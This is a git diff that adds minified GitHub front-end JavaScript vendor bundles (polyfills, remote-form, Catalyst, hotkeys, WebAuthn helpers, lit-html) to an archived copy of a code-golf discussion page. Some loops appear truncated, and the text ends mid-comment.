rejected"))}i(y,"rejectIfDone");for(const k of V)Promise.resolve(k).then(f,y)})}i(S,"promise_any_promiseAny");function F(){return"any"in Promise&&typeof Promise.any=="function"}i(F,"promise_any_isSupported");function D(){return Promise.all===S}i(D,"promise_any_isPolyfilled");function U(){F()||(Promise.any=S)}i(U,"promise_any_apply");const H=50;function B(L,j={}){const W=Date.now(),K=j.timeout||0,V=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,H-(Date.now()-W))}},"didTimeout",{get(){return Date.now()-W>K}});return window.setTimeout(()=>{L(V)})}i(B,"requestidlecallback_requestIdleCallback");function re(L){clearTimeout(L)}i(re,"cancelIdleCallback");function G(){return typeof globalThis.requestIdleCallback=="function"}i(G,"requestidlecallback_isSupported");function ce(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===re}i(ce,"requestidlecallback_isPolyfilled");function ie(){G()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=re)}i(ie,"requestidlecallback_apply");const le=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function ae(){return le&&_()&&o()&&l()&&m()&&w()&&X()&&T()&&F()&&G()}i(ae,"lib_isSupported");function de(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}i(de,"lib_isPolyfilled");function ue(){v(),n(),a(),p(),I(),te(),R(),U(),ie()}i(ue,"lib_apply")},58797:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});function b(_){let h=!1,v=null;_.addEventListener("mousedown",n),_.addEventListener("change",o);function e(u,a,s,c=!1){a instanceof HTMLInputElement&&(a.indeterminate=c,a.checked!==s&&(a.checked=s,setTimeout(()=>{const m=new CustomEvent("change",{bubbles:!0,cancelable:!1,detail:{relatedTarget:u}});a.dispatchEvent(m)})))}i(e,"setChecked");function o(u){const a=u.target;a instanceof Element&&(a.hasAttribute("data-check-all")?t(u):a.hasAttribute("data-check-all-item")&&r(u))}i(o,"onChange");function t(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:s}=u.detail;if(s&&s.hasAttribute("data-check-all-item"))return}const a=u.target;if(a instanceof HTMLInputElement){v=null;for(const s of _.querySelectorAll("[data-check-all-item]"))e(a,s,a.checked);a.indeterminate=!1,l()}}i(t,"onCheckAll");function n(u){if(!(u.target instanceof Element))return;(u.target instanceof HTMLLabelElement&&u.target.control||u.target).hasAttribute("data-check-all-item")&&(h=u.shiftKey)}i(n,"onMouseDown");function r(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:m}=u.detail;if(m&&(m.hasAttribute("data-check-all")||m.hasAttribute("data-check-all-item")))return}const a=u.target;if(!(a instanceof HTMLInputElement))return;const s=Array.from(_.querySelectorAll("[data-check-all-item]"));if(h&&v){const[m,d]=[s.indexOf(v),s.indexOf(a)].sort();for(const p of s.slice(m,+d+1||9e9))e(a,p,a.checked)}h=!1,v=a;const c=_.querySelector("[data-check-all]");if(c){const m=s.length,d=s.filter(w=>w instanceof HTMLInputElement&&w.checked).length,p=d===m,g=m>d&&d>0;e(a,c,p,g)}l()}i(r,"onCheckAllItem");function l(){const u=_.querySelector("[data-check-all-count]");if(u){const a=_.querySelectorAll("[data-check-all-item]:checked").length;u.textContent=a.toString()}}return i(l,"updateCount"),{unsubscribe:()=>{_.removeEventListener("mousedown",n),_.removeEventListener("change",o)}}}i(b,"subscribe")},15205:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(...h){return JSON.stringify(h,(v,e)=>typeof e=="object"?e:String(e))}i(b,"defaultHash");function _(h,v={}){const{hash:e=b,cache:o=new Map}=v;return function(...t){const n=e.apply(this,t);if(o.has(n))return o.get(n);let r=h.apply(this,t);return r instanceof Promise&&(r=r.catch(l=>{throw o.delete(n),l})),o.set(n,r),r}}i(_,"memoize")},61268:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h){if(this.map=new Map,h)for(const[v,e]of h)this.set(v,e)}get(h){const v=this.map.get(h);return v||new Set}set(h,v){let e=this.map.get(h);return e||(e=new Set,this.map.set(h,e)),e.add(v),this}has(h){return this.map.has(h)}delete(h,v){const e=this.map.get(h);if(!e)return!1;if(!v)return this.map.delete(h);const o=e.delete(v);return e.size||this.map.delete(h),o}drain(h){const v=[];for(const e of this.keys())this.delete(e,h)&&!this.has(e)&&v.push(e);return v}keys(){return this.map.keys()}values(){return this.map.values()}entries(){return this.map.entries()}[Symbol.iterator](){return this.entries()}clear(){this.map.clear()}get size(){return this.map.size}}i(b,"MultiMap")},16544:(N,M,E)=>{"use strict";E.d(M,{Oo:()=>l});async function b(d,p){let g;const w=new Promise((x,I)=>{g=self.setTimeout(()=>I(new Error("timeout")),d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(b,"timeout");async function _(d,p){let g;const w=new Promise(x=>{g=self.setTimeout(x,d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(_,"wait");async function h(d,p,g=1/0,w){const x=w?v(w):null;for(let I=0;I{const w=new Error("aborted");w.name="AbortError",d.aborted?g(w):d.addEventListener("abort",()=>g(w))})}i(v,"whenAborted");function e(d){return Math.floor(Math.random()*Math.floor(d))}i(e,"rand");async function o(d,p,g){const w=new WebSocket(d),x=r(w);try{return await Promise.race([x,b(p,g)]),w}catch(I){throw t(x),I}}i(o,"connect");async function t(d){try{(await d).close()}catch{}}i(t,"shutdown");function n(d,p){return h(i(()=>o(d,p.timeout,p.signal),"fn"),p.attempts,p.maxDelay,p.signal)}i(n,"connectWithRetry");function r(d){return new Promise((p,g)=>{d.readyState===WebSocket.OPEN?p(d):(d.onerror=()=>{d.onerror=null,d.onopen=null,g(new Error("connect failed"))},d.onopen=()=>{d.onerror=null,d.onopen=null,p(d)})})}i(r,"whenOpen");class l{constructor(p,g,w){this.socket=null,this.opening=null,this.url=p,this.delegate=g,this.policy=w}async open(){if(this.opening||this.socket)return;this.opening=new AbortController;const p=Object.assign(Object.assign({},this.policy),{signal:this.opening.signal});try{this.socket=await n(this.url,p)}catch{this.delegate.socketDidFinish(this);return}finally{this.opening=null}this.socket.onclose=g=>{this.socket=null,this.delegate.socketDidClose(this,g.code,g.reason),(this.delegate.socketShouldRetry?!this.delegate.socketShouldRetry(this,g.code):a(g.code))?this.delegate.socketDidFinish(this):setTimeout(()=>this.open(),u(100,100+(this.delegate.reconnectWindow||50)))},this.socket.onmessage=g=>{this.delegate.socketDidReceiveMessage(this,g.data)},this.delegate.socketDidOpen(this)}close(p,g){this.opening?(this.opening.abort(),this.opening=null):this.socket&&(this.socket.onclose=null,this.socket.close(p,g),this.socket=null,this.delegate.socketDidClose(this,p,g),this.delegate.socketDidFinish(this))}send(p){this.socket&&this.socket.send(p)}isOpen(){return!!this.socket}}i(l,"StableSocket");function u(d,p){return Math.random()*(p-d)+d}i(u,"rand$1");function a(d){return d===s||d===c}i(a,"isFatal");const s=1008,c=1011;class m{constructor(p){this.buf=[],this.socket=p,this.delegate=p.delegate,p.delegate=this}open(){return this.socket.open()}close(p,g){this.socket.close(p,g)}send(p){this.socket.isOpen()?(this.flush(),this.socket.send(p)):this.buf.push(p)}isOpen(){return this.socket.isOpen()}flush(){for(const p of this.buf)this.socket.send(p);this.buf.length=0}socketDidOpen(p){this.flush(),this.delegate.socketDidOpen(p)}socketDidClose(p,g,w){this.delegate.socketDidClose(p,g,w)}socketDidFinish(p){this.delegate.socketDidFinish(p)}socketDidReceiveMessage(p,g){this.delegate.socketDidReceiveMessage(p,g)}socketShouldRetry(p,g){return this.delegate.socketShouldRetry?this.delegate.socketShouldRetry(p,g):!a(g)}}i(m,"BufferedSocket")},89900:(N,M,E)=>{"use strict";E.d(M,{Z:()=>v});const b=["direction","boxSizing","width","height","overflowX","overflowY","borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth","borderStyle","paddingTop","paddingRight","paddingBottom","paddingLeft","fontStyle","fontVariant","fontWeight","fontStretch","fontSize","fontSizeAdjust","lineHeight","fontFamily","textAlign","textTransform","textIndent","textDecoration","letterSpacing","wordSpacing","tabSize","MozTabSize"],h=typeof window!="undefined"&&window.mozInnerScreenX!=null;function v(e,o,t){const n=t&&t.debug||!1;if(n){const m=document.querySelector("#input-textarea-caret-position-mirror-div");m&&m.parentNode.removeChild(m)}const r=document.createElement("div");r.id="input-textarea-caret-position-mirror-div",document.body.appendChild(r);const l=r.style,u=window.getComputedStyle?window.getComputedStyle(e):e.currentStyle,a=e.nodeName==="INPUT";l.whiteSpace="pre-wrap",a||(l.wordWrap="break-word"),l.position="absolute",n||(l.visibility="hidden");for(const m of b)if(a&&m==="lineHeight")if(u.boxSizing==="border-box"){const d=parseInt(u.height),p=parseInt(u.paddingTop)+parseInt(u.paddingBottom)+parseInt(u.borderTopWidth)+parseInt(u.borderBottomWidth),g=p+parseInt(u.lineHeight);d>g?l.lineHeight=`${d-p}px`:d===g?l.lineHeight=u.lineHeight:l.lineHeight=0}else l.lineHeight=u.height;else if(!a&&m==="width"&&u.boxSizing==="border-box"){let d=parseFloat(u.borderLeftWidth)+parseFloat(u.borderRightWidth),p=h?parseFloat(u[m])-d:e.clientWidth+d;l[m]=`${p}px`}else l[m]=u[m];h?e.scrollHeight>parseInt(u.height)&&(l.overflowY="scroll"):l.overflow="hidden",r.textContent=e.value.substring(0,o),a&&(r.textContent=r.textContent.replace(/\s/g,"\xA0"));const s=document.createElement("span");s.textContent=e.value.substring(o)||".",r.appendChild(s);const c={top:s.offsetTop+parseInt(u.borderTopWidth),left:s.offsetLeft+parseInt(u.borderLeftWidth),height:parseInt(u.lineHeight)};return n?s.style.backgroundColor="#aaa":document.body.removeChild(r),c}i(v,"getCaretCoordinates")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-40f081c90ea1.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js new file mode 100644 index 0000000..7337406 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var j=Object.defineProperty;var n=(M,C)=>j(M,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3"],{65935:(M,C,$)=>{$.d(C,{AC:()=>T,rK:()=>S,uT:()=>f});function _(s,r){const c=s.createElement("template");return c.innerHTML=r,s.importNode(c.content,!0)}n(_,"parseHTML");function x(s){const r=new URLSearchParams,c=new FormData(s).entries();for(const[b,h]of[...c])r.append(b,h.toString());return r.toString()}n(x,"serialize");class i extends Error{constructor(r,c){super(r);this.response=c}}n(i,"ErrorWithResponse");function g(){let s,r;return[new Promise(function(b,h){s=b,r=h}),s,r]}n(g,"makeDeferred");let m;const v=[],d=[];function f(s){v.push(s)}n(f,"afterRemote");function S(s){d.push(s)}n(S,"beforeRemote");function T(s,r){m||(m=new Map,document.addEventListener("submit",O));const c=m.get(s)||[];m.set(s,[...c,r])}n(T,"remoteForm");function q(s,r){if(m){const c=m.get(s)||[];m.set(s,c.filter(b=>b!==r))}}n(q,"remoteUninstall");function N(s){const r=[];for(const c of m.keys())if(s.matches(c)){const b=m.get(c)||[];r.push(...b)}return r}n(N,"getMatches");function O(s){if(!(s.target instanceof HTMLFormElement)||s.defaultPrevented)return;const r=s.target,c=N(r);if(c.length===0)return;const b=P(r),[h,A,E]=g();s.preventDefault(),L(c,r,b,h).then(async a=>{if(a){for(const l of d)await l(r);R(b).then(A,E).catch(()=>{}).then(()=>{for(const l of v)l(r)})}else r.submit()},a=>{r.submit(),setTimeout(()=>{throw a})})}n(O,"handleSubmit");async function L(s,r,c,b){let h=!1;for(const A of s){const[E,a]=g(),l=n(()=>(h=!0,a(),b),"kick"),w={text:l,json:()=>(c.headers.set("Accept","application/json"),l()),html:()=>(c.headers.set("Accept","text/html"),l())};await Promise.race([E,A(r,w,c)])}return h}n(L,"processHandlers");function P(s){const r={method:s.method||"GET",url:s.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(r.method.toUpperCase()==="GET"){const c=x(s);c&&(r.url+=(~r.url.indexOf("?")?"&":"?")+c)}else r.body=new FormData(s);return r}n(P,"buildRequest");async function R(s){const r=await window.fetch(s.url,{method:s.method,body:s.body!==null?s.body:void 0,headers:s.headers,credentials:"same-origin"}),c={url:r.url,status:r.status,statusText:r.statusText,headers:r.headers,text:"",get json(){const h=this,A=JSON.parse(h.text);return delete h.json,h.json=A,h.json},get html(){const h=this;return delete h.html,h.html=_(document,h.text),h.html}},b=await r.text();if(c.text=b,r.ok)return c;throw new i("request failed",c)}n(R,"remoteSubmit")},90420:(M,C,$)=>{$.d(C,{Lj:()=>s,Ih:()=>w,fA:()=>N,GO:()=>O});const _=new WeakSet;function x(e){_.add(e),e.shadowRoot&&i(e.shadowRoot),v(e),m(e.ownerDocument)}n(x,"bind");function i(e){v(e),m(e)}n(i,"bindShadow");const g=new WeakMap;function m(e=document){if(g.has(e))return g.get(e);let t=!1;const o=new MutationObserver(p=>{for(const y of p)if(y.type==="attributes"&&y.target instanceof Element)S(y.target);else if(y.type==="childList"&&y.addedNodes.length)for(const k of y.addedNodes)k instanceof Element&&v(k)});o.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const u={get closed(){return t},unsubscribe(){t=!0,g.delete(e),o.disconnect()}};return g.set(e,u),u}n(m,"listenForBind");function v(e){for(const t of e.querySelectorAll("[data-action]"))S(t);e instanceof Element&&e.hasAttribute("data-action")&&S(e)}n(v,"bindElements");function d(e){const t=e.currentTarget;for(const o of f(t))if(e.type===o.type){const u=t.closest(o.tag);_.has(u)&&typeof u[o.method]=="function"&&u[o.method](e);const p=t.getRootNode();if(p instanceof ShadowRoot&&_.has(p.host)&&p.host.matches(o.tag)){const y=p.host;typeof y[o.method]=="function"&&y[o.method](e)}}}n(d,"handleEvent");function*f(e){for(const t of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const o=t.lastIndexOf(":"),u=Math.max(0,t.lastIndexOf("#"))||t.length;yield{type:t.slice(0,o),tag:t.slice(o+1,u),method:t.slice(u+1)||"handleEvent"}}}n(f,"bindings");function S(e){for(const t of f(e))e.addEventListener(t.type,d)}n(S,"bindActions");function T(e,t){const o=e.tagName.toLowerCase();if(e.shadowRoot){for(const u of e.shadowRoot.querySelectorAll(`[data-target~="${o}.${t}"]`))if(!u.closest(o))return u}for(const u of e.querySelectorAll(`[data-target~="${o}.${t}"]`))if(u.closest(o)===e)return u}n(T,"findTarget");function q(e,t){const o=e.tagName.toLowerCase(),u=[];if(e.shadowRoot)for(const p of e.shadowRoot.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)||u.push(p);for(const p of e.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)===e&&u.push(p);return u}n(q,"findTargets");function N(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return T(this,t)}})}n(N,"target");function O(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return q(this,t)}})}n(O,"targets");function L(e){const t=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(t)||(window[e.name]=e,window.customElements.define(t,e))}n(L,"register");function P(e){for(const t of e.querySelectorAll("template[data-shadowroot]"))t.parentElement===e&&e.attachShadow({mode:t.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(t.content.cloneNode(!0))}n(P,"autoShadowRoot");const R=new WeakMap;function s(e,t){R.has(e)||R.set(e,[]),R.get(e).push(t)}n(s,"attr");function r(e,t){t||(t=c(Object.getPrototypeOf(e)));for(const o of t){const u=e[o],p=b(o);let y={configurable:!0,get(){return this.getAttribute(p)||""},set(k){this.setAttribute(p,k||"")}};typeof u=="number"?y={configurable:!0,get(){return Number(this.getAttribute(p)||0)},set(k){this.setAttribute(p,k)}}:typeof u=="boolean"&&(y={configurable:!0,get(){return this.hasAttribute(p)},set(k){this.toggleAttribute(p,k)}}),Object.defineProperty(e,o,y),o in e&&!e.hasAttribute(p)&&y.set.call(e,u)}}n(r,"initializeAttrs");function c(e){const t=new Set;let o=e;for(;o&&o!==HTMLElement;){const u=R.get(o)||[];for(const p of u)t.add(p);o=Object.getPrototypeOf(o)}return t}n(c,"getAttrNames");function b(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}n(b,"attrToAttributeName");function h(e){let t=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...c(e.prototype)].map(b).concat(t)},set(o){t=o}})}n(h,"defineObservedAttributes");const A=new WeakSet;function E(e,t){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),A.add(e),P(e),r(e),x(e),t&&t.call(e),e.shadowRoot&&i(e.shadowRoot)}n(E,"initializeInstance");function a(e){h(e),L(e)}n(a,"initializeClass");function l(e){return A.has(e)}n(l,"initialized");function w(e){const t=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){E(this,t)},a(e)}n(w,"controller")},70112:(M,C,$)=>{$.d(C,{U2:()=>A,Ue:()=>c,Zh:()=>E});function _(a){const l="==".slice(0,(4-a.length%4)%4),w=a.replace(/-/g,"+").replace(/_/g,"/")+l,e=atob(w),t=new ArrayBuffer(e.length),o=new Uint8Array(t);for(let u=0;um(a,l[0],e));if(l instanceof Object){const e={};for(const[t,o]of Object.entries(l)){if(o.derive){const u=o.derive(w);u!==void 0&&(w[t]=u)}if(!(t in w)){if(o.required)throw new Error(`Missing key: ${t}`);continue}if(w[t]==null){e[t]=null;continue}e[t]=m(a,o.schema,w[t])}return e}}n(m,"convert");function v(a,l){return{required:!0,schema:a,derive:l}}n(v,"derived");function d(a){return{required:!0,schema:a}}n(d,"required");function f(a){return{required:!1,schema:a}}n(f,"optional");var S={type:d(i),id:d(g),transports:f(i)},T={appid:f(i),appidExclude:f(i),credProps:f(i)},q={appid:f(i),appidExclude:f(i),credProps:f(i)},N={publicKey:d({rp:d(i),user:d({id:d(g),name:d(i),displayName:d(i)}),challenge:d(g),pubKeyCredParams:d(i),timeout:f(i),excludeCredentials:f([S]),authenticatorSelection:f(i),attestation:f(i),extensions:f(T)}),signal:f(i)},O={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),attestationObject:d(g),transports:v(i,a=>{var l;return((l=a.getTransports)==null?void 0:l.call(a))||[]})}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},L={mediation:f(i),publicKey:d({challenge:d(g),timeout:f(i),rpId:f(i),allowCredentials:f([S]),userVerification:f(i),extensions:f(T)}),signal:f(i)},P={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),authenticatorData:d(g),signature:d(g),userHandle:d(g)}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},R={credentialCreationOptions:N,publicKeyCredentialWithAttestation:O,credentialRequestOptions:L,publicKeyCredentialWithAssertion:P};function s(a){return m(_,N,a)}n(s,"createRequestFromJSON");function r(a){return m(x,O,a)}n(r,"createResponseToJSON");async function c(a){const l=await navigator.credentials.create(s(a));return r(l)}n(c,"create");function b(a){return m(_,L,a)}n(b,"getRequestFromJSON");function h(a){return m(x,P,a)}n(h,"getResponseToJSON");async function A(a){const l=await navigator.credentials.get(b(a));return h(l)}n(A,"get");function E(){return!!(navigator.credentials&&navigator.credentials.create&&navigator.credentials.get&&window.PublicKeyCredential)}n(E,"supported")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-74ee89f793c0.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js new file mode 100644 index 0000000..1f9e6eb --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js @@ -0,0 +1,15 @@ +"use strict";(()=>{var R=Object.defineProperty;var c=(F,T)=>R(F,"name",{value:T,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b"],{65935:(F,T,E)=>{E.d(T,{AC:()=>b,rK:()=>p,uT:()=>h});function x(o,e){const n=o.createElement("template");return n.innerHTML=e,o.importNode(n.content,!0)}c(x,"parseHTML");function v(o){const e=new URLSearchParams,n=new FormData(o).entries();for(const[i,a]of[...n])e.append(i,a.toString());return e.toString()}c(v,"serialize");class m extends Error{constructor(e,n){super(e);this.response=n}}c(m,"ErrorWithResponse");function _(){let o,e;return[new Promise(function(i,a){o=i,e=a}),o,e]}c(_,"makeDeferred");let f;const g=[],y=[];function h(o){g.push(o)}c(h,"afterRemote");function p(o){y.push(o)}c(p,"beforeRemote");function b(o,e){f||(f=new Map,document.addEventListener("submit",S));const n=f.get(o)||[];f.set(o,[...n,e])}c(b,"remoteForm");function k(o,e){if(f){const n=f.get(o)||[];f.set(o,n.filter(i=>i!==e))}}c(k,"remoteUninstall");function w(o){const e=[];for(const n of f.keys())if(o.matches(n)){const i=f.get(n)||[];e.push(...i)}return e}c(w,"getMatches");function S(o){if(!(o.target instanceof HTMLFormElement)||o.defaultPrevented)return;const e=o.target,n=w(e);if(n.length===0)return;const i=L(e),[a,l,s]=_();o.preventDefault(),P(n,e,i,a).then(async t=>{if(t){for(const r of y)await r(e);N(i).then(l,s).catch(()=>{}).then(()=>{for(const r of g)r(e)})}else e.submit()},t=>{e.submit(),setTimeout(()=>{throw t})})}c(S,"handleSubmit");async function P(o,e,n,i){let a=!1;for(const l of o){const[s,t]=_(),r=c(()=>(a=!0,t(),i),"kick"),u={text:r,json:()=>(n.headers.set("Accept","application/json"),r()),html:()=>(n.headers.set("Accept","text/html"),r())};await Promise.race([s,l(e,u,n)])}return a}c(P,"processHandlers");function L(o){const e={method:o.method||"GET",url:o.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(e.method.toUpperCase()==="GET"){const n=v(o);n&&(e.url+=(~e.url.indexOf("?")?"&":"?")+n)}else e.body=new FormData(o);return e}c(L,"buildRequest");async function N(o){const e=await window.fetch(o.url,{method:o.method,body:o.body!==null?o.body:void 0,headers:o.headers,credentials:"same-origin"}),n={url:e.url,status:e.status,statusText:e.statusText,headers:e.headers,text:"",get json(){const a=this,l=JSON.parse(a.text);return delete a.json,a.json=l,a.json},get html(){const a=this;return delete a.html,a.html=x(document,a.text),a.html}},i=await e.text();if(n.text=i,e.ok)return n;throw new m("request failed",n)}c(N,"remoteSubmit")},41311:(F,T,E)=>{E.d(T,{C:()=>f});var x=E(28356),v=E(36162);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,_=2147483647,f=(0,v.XM)((...g)=>y=>{let h=m.get(y);h===void 0&&(h={lastRenderedIndex:_,values:[]},m.set(y,h));const p=h.values;let b=p.length;h.values=g;for(let k=0;kh.lastRenderedIndex);k++){const w=g[k];if((0,x.pt)(w)||typeof w.then!="function"){y.setValue(w),h.lastRenderedIndex=k;break}k{const P=h.values.indexOf(w);P>-1&&P{E.d(T,{EL:()=>g,N9:()=>N,Tz:()=>o});class x{constructor(n){this.children=[],this.parent=n}delete(n){const i=this.children.indexOf(n);return i===-1?!1:(this.children=this.children.slice(0,i).concat(this.children.slice(i+1)),this.children.length===0&&this.parent.delete(this),!0)}add(n){return this.children.push(n),this}}c(x,"Leaf");class v{constructor(n){this.parent=null,this.children={},this.parent=n||null}get(n){return this.children[n]}insert(n){let i=this;for(let a=0;al.filter(s=>s!=="")).filter(l=>l.length>0)}c(f,"expandHotkeyToEdges");function g(e){const{ctrlKey:n,altKey:i,metaKey:a,key:l}=e,s=[],t=[n,i,a,h(e)];for(const[r,u]of t.entries())u&&s.push(y[r]);return y.includes(l)||s.push(l),s.join("+")}c(g,"hotkey");const y=["Control","Alt","Meta","Shift"];function h(e){const{shiftKey:n,code:i,key:a}=e;return n&&!(i.startsWith("Key")&&a.toUpperCase()===a)}c(h,"showShift");const p=new v,b=new WeakMap;let k=p,w=null,S=[];function P(){S=[],w=null,k=p}c(P,"resetTriePosition");function L(e){if(e.defaultPrevented||!(e.target instanceof Node))return;if(m(e.target)){const i=e.target;if(!i.id||!i.ownerDocument.querySelector(`[data-hotkey-scope="${i.id}"]`))return}w!=null&&window.clearTimeout(w),w=window.setTimeout(P,1500);const n=k.get(g(e));if(!n){P();return}if(S.push(g(e)),k=n,n instanceof x){const i=e.target;let a=!1,l;const s=m(i);for(let t=n.children.length-1;t>=0;t-=1){l=n.children[t];const r=l.getAttribute("data-hotkey-scope");if(!s&&!r||s&&i.id===r){a=!0;break}}l&&a&&(_(l,S),e.preventDefault()),P()}}c(L,"keyDownHandler");function N(e,n){Object.keys(p.children).length===0&&document.addEventListener("keydown",L);const a=f(n||e.getAttribute("data-hotkey")||"").map(l=>p.insert(l).add(e));b.set(e,a)}c(N,"install");function o(e){const n=b.get(e);if(n&&n.length)for(const i of n)i&&i.delete(e);Object.keys(p.children).length===0&&document.removeEventListener("keydown",L)}c(o,"uninstall")},15205:(F,T,E)=>{E.d(T,{Z:()=>v});function x(...m){return JSON.stringify(m,(_,f)=>typeof f=="object"?f:String(f))}c(x,"defaultHash");function v(m,_={}){const{hash:f=x,cache:g=new Map}=_;return function(...y){const h=f.apply(this,y);if(g.has(h))return g.get(h);let p=m.apply(this,y);return p instanceof Promise&&(p=p.catch(b=>{throw g.delete(h),b})),g.set(h,p),p}}c(v,"memoize")},69567:(F,T,E)=>{E.d(T,{sV:()=>g,GZ:()=>k,R:()=>l,AQ:()=>w,W_:()=>P,Al:()=>S,XK:()=>N});function*x(s){let t="",r=0,u=!1;for(let d=0;dtypeof u=="string"?u:u.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,r)}}}c(y,"AttributeValueSetter");var h=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},p=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},b;class k{constructor(t,r){this.expression=r,b.set(this,void 0),h(this,b,[t]),t.textContent=""}get value(){return p(this,b).map(t=>t.textContent).join("")}set value(t){this.replace(t)}get previousSibling(){return p(this,b)[0].previousSibling}get nextSibling(){return p(this,b)[p(this,b).length-1].nextSibling}replace(...t){const r=t.map(u=>typeof u=="string"?new Text(u):u);r.length||r.push(new Text("")),p(this,b)[0].before(...r);for(const u of p(this,b))u.remove();h(this,b,r)}}c(k,"NodeTemplatePart"),b=new WeakMap;function w(s){return{createCallback(t,r,u){this.processCallback(t,r,u)},processCallback(t,r,u){var d;if(!(typeof u!="object"||!u)){for(const C of r)if(C.expression in u){const j=(d=u[C.expression])!==null&&d!==void 0?d:"";s(C,j)}}}}}c(w,"createProcessor");function S(s,t){s.value=String(t)}c(S,"processPropertyIdentity");function P(s,t){return typeof t=="boolean"&&s instanceof g&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=t,!0):!1}c(P,"processBooleanAttribute");const L=w(S),N=w((s,t)=>{P(s,t)||S(s,t)});var o=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},e=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},n,i;function*a(s){const t=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let r;for(;r=t.nextNode();)if(r instanceof Element&&r.hasAttributes())for(let u=0;u{var O=Object.defineProperty;var p=(M,N)=>O(M,"name",{value:N,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_lit-html_lit-html_js"],{13695:(M,N,l)=>{l.d(N,{X:()=>v,w:()=>u});/** + * @license + * 